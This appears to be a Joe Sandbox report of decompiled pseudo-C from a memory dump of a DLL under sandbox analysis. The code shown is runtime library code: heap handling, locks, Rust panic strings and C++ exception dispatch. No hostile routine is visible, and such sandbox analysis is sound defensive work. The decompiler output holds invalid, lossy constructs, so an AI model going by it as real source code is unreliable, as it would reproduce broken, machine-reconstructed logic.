										_v56 = 0x6edadca0;
										_v52 =  &_v148;
										_v48 = E6EDADCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EDAD0F0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6edfe128, 0, _t248);
											}
											HeapFree( *0x6edfe128, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6edfe10c);
											_v68 = 0x6edefad0;
											_v64 = 1;
											_v152 = 0x6edfe10c;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EDADD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6EDAD0F0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6edfe10c);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6EDAC640(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6EDADA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6edfe11c);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6edf029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6edef570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6EDAD0F0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6EDAD2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6EDAD290(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6edfd040 = 0;
											_t368 =  *0x6edfd040;
											if( *0x6edfd040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6edf017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6edef570;
											_v48 = 0;
											_v20 = 3;
											if(E6EDAD0F0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6edfe128, 0, _t238);
											}
											HeapFree( *0x6edfe128, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

0x6edac6d7
0x6edac6da
0x6edac6de
0x6edac6e5
0x6edac6e6
0x6edac6e8
0x6edac6ed
0x6edac6f0
0x6edac6f2
0x6edac6f3
0x6edac6f4
0x6edac6f5
0x6edac6f6
0x6edac6f7
0x6edac6f8
0x6edac6f9
0x6edac6fa
0x6edac6fb
0x6edac6fc
0x6edac6fd
0x6edac6fe
0x6edac6ff
0x6edac706
0x6edac70c
0x6edac70f
0x6edac716
0x6edac71d
0x6edac722
0x6edac727
0x6edac730
0x6edac733
0x6edac739
0x6edac741
0x6edac746
0x6edac748
0x6edac762
0x6edac767
0x6edac76a
0x6edac76a
0x6edac76e
0x6edac771
0x6edac774
0x6edac776
0x6edac7ea
0x6edac7ed
0x6edac84a
0x6edac851
0x6edac85b
0x6edac862
0x6edac869
0x6edac86d
0x6edac874
0x6edac87b
0x6edac881
0x6edac884
0x6edac887
0x6edac88d
0x6edac894
0x6edac897
0x6edac89e
0x6edac8a3
0x6edac8a5
0x6edac8ac
0x6edac8b4
0x6edac8b7
0x6edac8b9
0x6edac8bc
0x6edac8bc
0x6edac8bf
0x6edac8c2
0x6edac8c6
0x6edac8dc
0x6edac8dc
0x6edac8ea
0x6edac8ea
0x00000000
0x6edac8a5
0x6edac7f2
0x6edac7f5
0x6edac7fc
0x6edac803
0x6edac80a
0x6edac811
0x6edac815
0x6edac81c
0x6edac823
0x6edac828
0x6edac82a
0x00000000
0x6edac830
0x6edac835
0x6edac83d
0x6edac840
0x6edac842
0x00000000
0x6edac842
0x6edac77d
0x6edac77d
0x6edac785
0x6edac78b
0x6edac795
0x6edac79c
0x6edac7a3
0x6edac7a9
0x6edac7ac
0x6edac7af
0x6edac7b2
0x6edac7b5
0x6edac7ba
0x6edac7bd
0x6edac7bf
0x6edac8f3
0x6edac8f3
0x6edac8f6
0x6edac8f8
0x6edac9cb
0x6edac9d0
0x6edac9d3
0x6edac9d6
0x6edacbd7
0x00000000
0x6edacbd7
0x6edac9dc
0x6edac9df
0x6edacbd0
0x00000000
0x6edacbd0
0x6edac9e5
0x6edac9e7
0x00000000
0x00000000
0x6edac9f0
0x6edac9f5
0x6edac9f8
0x6edac9fb
0x6edac9fd
0x00000000
0x00000000
0x6edaca03
0x00000000
0x6edaca03
0x6edac8fe
0x00000000
0x6edac7c5
0x6edac7dd
0x6edac7e2
0x6edacbfe
0x6edacbfe
0x6edacc00
0x6edacc00
0x6edacc05
0x6edac933
0x6edac933
0x6edac936
0x6edac939
0x6edac940
0x6edac942
0x6edac947
0x6edac947
0x6edac94d
0x6edac956
0x6edaca33
0x6edaca33
0x6edaca38
0x6edaca3a
0x6edaca3c
0x6edaca41
0x6edaca41
0x6edaca47
0x6edaca4d
0x6edaca4f
0x6edacc0f
0x6edacc14
0x6edacc16
0x6edacc26
0x6edacc2b
0x6edacc30
0x6edacc32
0x6edacc72
0x6edacc78
0x6edacc7f
0x6edacc81
0x6edacc86
0x6edacc88
0x6edacc8f
0x6edacc92
0x6edacc97
0x6edacc97
0x6edacc9c
0x00000000
0x6edacc9c
0x6edacc34
0x6edacc3e
0x6edacc43
0x6edacc45
0x6edacc45
0x6edacc48
0x6edacc4b
0x6edacc4e
0x6edaccf8
0x6edaccfe
0x6edacd09
0x6edacd09
0x6edacd0e
0x6edacd0e
0x6edacd10
0x6edacd10
0x6edacd12
0x6edacd1d
0x6edacd1d
0x6edacd22
0x6edacd22
0x6edacd2d
0x6edacd35
0x6edacd38
0x6edacd3b
0x6edacd3b
0x6edacd3b
0x6edac901
0x6edac901
0x6edac907
0x6edac90a
0x6edac90a
0x6edac910
0x6edac913
0x6edac915
0x6edac923
0x6edac923
0x6edac925
0x6edaca0d
0x6edaca10
0x6edaca1e
0x6edaca20
0x00000000
0x00000000
0x6edaca26
0x6edaca29
0x6edaca2b
0x00000000
0x6edaca2b
0x6edac92b
0x6edac92e
0x6edac930
0x00000000
0x6edac930
0x6edacd00
0x6edacd02
0x00000000
0x6edacd02
0x6edacc54
0x6edacc57
0x00000000
0x00000000
0x6edacc5d
0x6edacc60
0x00000000
0x00000000
0x6edacc66
0x6edacc68
0x00000000
0x6edacc68
0x6edacc18
0x6edacc1d
0x6edacc1f
0x00000000
0x00000000
0x6edacc21
0x00000000
0x6edaca55
0x6edaca55
0x6edaca57
0x6edaca5a
0x6edacca2
0x6edacca2
0x6edacca5
0x6edacca8
0x6edacca8
0x6edaccab
0x6edaccb1
0x6edaccb8
0x6edaccbf
0x6edaccc5
0x6edaccc7
0x6edacccd
0x6edaccd0
0x6edaccd6
0x6edaccd6
0x6edaccd0
0x6edaccc7
0x00000000
0x6edaccbf
0x6edaca60
0x6edaca67
0x6edaca6e
0x6edaca6e
0x00000000
0x6edaca6e
0x6edac95c
0x6edac95f
0x6edac961
0x00000000
0x00000000
0x6edac967
0x6edac96a
0x6edac96d
0x6edacbf6
0x6edacbfb
0x00000000
0x6edacbfb
0x6edac973
0x6edac979
0x6edac97e
0x6edac980
0x6edac983
0x6edac98a
0x6edac98f
0x6edac992
0x6edac994
0x6edac997
0x6edac999
0x6edac99b
0x6edac99e
0x6edac9a0
0x6edac9a3
0x6edac9a3
0x6edac99e
0x6edac9a8
0x6edac9a8
0x6edac9ab
0x6edac9ae
0x6edac8ef
0x6edac8ef
0x6edac8f1
0x00000000
0x6edac9b4
0x6edac9b4
0x6edac9b8
0x6edac9bb
0x6edac9be
0x6edacce0
0x6edacce6
0x6edacce8
0x6edacce8
0x6edacceb
0x6edacea2
0x6edacea2
0x6edacea7
0x6edacea8
0x6edacea8
0x6edaca70
0x6edaca77
0x6edaca7e
0x6edaca85
0x6edaca8c
0x6edaca90
0x6edaca97
0x6edaca9e
0x6edacaa5
0x6edacaad
0x6edacab0
0x6edacab6
0x6edacab9
0x6edacabf
0x6edacac5
0x6edacacc
0x6edacad5
0x6edacadc
0x6edacae2
0x6edacae9
0x6edacaec
0x6edacafa
0x6edacb01
0x6edacb09
0x6edacb0c
0x6edacb0e
0x6edacb11
0x6edacb14
0x6edacb1b
0x6edacb1d
0x6edacb23
0x6edacb25
0x6edacb25
0x6edacb31
0x6edacb31
0x6edacb3f
0x6edacb3f
0x6edacb44
0x6edacb55
0x6edacb5a
0x6edacd4b
0x6edacd5a
0x6edacd61
0x6edacd68
0x6edacd72
0x6edacd75
0x6edacd7c
0x6edacd83
0x6edacd89
0x6edacd90
0x6edacd93
0x6edacd9a
0x6edacd9f
0x6edacda8
0x6edacdae
0x6edacdb1
0x00000000
0x00000000
0x6edacdb8
0x6edacdc0
0x6edacdc3
0x6edacdc5
0x00000000
0x6edacb60
0x6edacb63
0x6edace00
0x6edace03
0x6edace05
0x6edace07
0x6edace0a
0x6edace0f
0x6edace0f
0x6edace0a
0x6edace17
0x6edace1d
0x6edace23
0x6edace25
0x6edace27
0x6edace2a
0x6edace2f
0x6edace2f
0x6edace2a
0x6edace39
0x6edace3f
0x6edace43
0x6edace4a
0x6edace52
0x6edace59
0x6edace60
0x6edace67
0x6edace6e
0x6edace72
0x6edace79
0x6edace80
0x6edace88
0x6edace8b
0x6edace8e
0x6edace93
0x6edace95
0x6edace95
0x6edace97
0x6edace9b
0x6edacea0
0x00000000
0x6edacea0
0x6edacb6b
0x6edacb71
0x6edacb73
0x00000000
0x00000000
0x6edacb7c
0x6edacb7f
0x6edacb86
0x6edacb8d
0x6edacb94
0x6edacb9b
0x6edacba2
0x6edacbb0
0x00000000
0x00000000
0x6edacbbb
0x6edacbbe
0x6edacbc6
0x6edacbc8
0x6edacdc8
0x6edacdcb
0x6edacdd2
0x6edacddb
0x6edacddd
0x6edacddf
0x6edacddf
0x6edacdeb
0x6edacdeb
0x6edacdfb
0x00000000
0x6edacdfb
0x6edacb5a
0x6edaccf1
0x00000000
0x6edaccf1
0x6edac9c4
0x00000000
0x6edac9c4
0x6edac9ae
0x6edac956
0x6edac7bf

APIs

Part of subcall function 6EDAC700: AcquireSRWLockShared.KERNEL32(6EDFE11C), ref: 6EDAC785

HeapFree.KERNEL32(00000000,00000000), ref: 6EDAC8DC
HeapFree.KERNEL32(00000000,?), ref: 6EDAC8EA
TlsGetValue.KERNEL32(00000000), ref: 6EDAC94D
HeapFree.KERNEL32(00000000,00000000), ref: 6EDACB31
HeapFree.KERNEL32(00000000,?), ref: 6EDACB3F

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EDACC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6EDAC74D, 6EDAC7C8

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa
API String ID: 942675266-716947571
Opcode ID: e8c7641bc85056c5e253f122934dac20f9380a09d3889fede676b4dc366fd3ad
Instruction ID: 5dcb462e51e1235a685d729d0a945e719991f5dd4a976ff9722bdba4ce12b792
Opcode Fuzzy Hash: e8c7641bc85056c5e253f122934dac20f9380a09d3889fede676b4dc366fd3ad
Instruction Fuzzy Hash: D10238B0E00219DFEB10CFE8C85479EBBB5BF49328F104519D955AB380D775AA46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBF6F6, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E6EDBF6F6(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6EDC0658(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6EDC1C23(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6EDBF3B1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6EDBF3B1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6EDBEBF7(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6EDBEB2A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6EDBF676(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6EDC1C23(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6EDBF3B1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6EDBF3B1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6EDBF3B1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6EDBF3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6EDBEB2A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6EDBF676(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														L6EDBF131(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6EDBF3B1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = L6EDC0105(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6EDBF3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6EDBF3B1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6EDBF3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6EDBF3B1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = L6EDC0105(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6EDC1BCC(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6EDBFD99( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6edfe0c0) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											L6EDBF131(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6EDBFD81( &_v64);
											L6EDBE95C( &_v64, 0x6edfb17c);
											L63:
											 *(E6EDBF3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6EDBF3B1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6EDBED1D(_t279, _t319, _t274);
											E6EDC0005(_a8, _a16, _t305);
											_t235 = E6EDC01C2(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6EDBFF7C(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6edbf6f6
0x6edbf6fd
0x6edbf6ff
0x6edbf708
0x6edbf70e
0x6edbf716
0x6edbf718
0x6edbf71b
0x6edbf721
0x6edbfa9a
0x6edbfa9a
0x6edbfa9f
0x6edbfaa1
0x6edbfaa3
0x6edbfaa6
0x6edbfaa7
0x6edbfaaa
0x6edbfab0
0x6edbfbcf
0x6edbfab6
0x6edbfab6
0x6edbfab7
0x6edbfab8
0x6edbfabf
0x6edbfac2
0x6edbfac5
0x6edbfacb
0x6edbfacd
0x6edbfad2
0x6edbfad5
0x6edbfad7
0x6edbfadd
0x6edbfadf
0x6edbfae5
0x6edbfafa
0x6edbfaff
0x6edbfb02
0x6edbfb04
0x6edbfbcb
0x00000000
0x6edbfbcc
0x6edbfb04
0x6edbfae5
0x6edbfadd
